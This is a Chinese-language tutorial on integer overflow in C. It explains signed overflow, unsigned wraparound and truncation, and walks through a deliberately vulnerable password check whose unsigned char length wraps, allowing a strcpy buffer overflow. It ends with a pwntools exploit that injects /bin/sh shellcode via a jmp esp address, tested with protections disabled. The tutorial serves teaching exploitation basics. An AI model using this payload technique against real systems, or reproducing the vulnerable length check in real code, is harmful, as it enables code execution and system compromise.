如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引等,就会存在潜在的危险,通常情况下,整数溢出并没有改写额外的内存,不会导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者会导致任意代码执行。
整数溢出
异常情况主要是3种
溢出,只有有符号数才会发生溢出,溢出标志OF可检测有符号数的溢出
1 2 3 4
| int i; i = INT_MAX; i++; printf("i=%d\n", i);
|
回绕,无符号数会发生回绕,溢出标志CF可检测无符号数的溢出
1 2 3 4
| unsigned int ui; ui = UINT_MAX; ui++; printf("ui=%d\n", ui);
|
截断,将较大宽度的数存入一个宽度小的操作数中,高位发生截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h>
int main() { unsigned int a = 0xffffffff; unsigned int b = 1;
unsigned int c = a + b; printf("%#x\n", &c); printf("%d", c); return 0; }
|
漏洞多发函数
整数溢出要配合其他类型的缺陷才能够有用,下面的两个函数都有一个size_t类型的参数,尝尝被误用而造成整数溢出,接着就可能导致缓冲区溢出漏洞
1 2 3
| #include <string.h> void * memcpy(void * dest, const void * src, size_t n); char * strncpy(char * dest, const char * src, size_t n);
|
假设输入的n足够大,可能发生回绕,或者当n输入为负数的时候,这个地方可能把它解析为非常大的正数,导致溢出
整数溢出示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <string.h>
void check(char * passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); if(passwd_len >= 4 && passwd_len <= 8) { printf("good!\n"); strcpy(passwd_buf, passwd); }else{ printf("bad!\n"); } }
int main(int argc, char * argv[]) { check(argv[1]); return 0; }
|
将所有保护都关掉进行测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
image_addr = 0x8048000 libc_addr = 0xf7ddc000
jmp_esp_addr = 0x00002b59 + libc_addr shellcode = shellcraft.i386.linux.sh()
payload = b'A' * 24 + p32(jmp_esp_addr) + asm(shellcode) print(len(payload)) payload = payload.ljust(261, b'\x01') print(len(payload)) p = process(argv=['./main', payload])
p.interactive()
|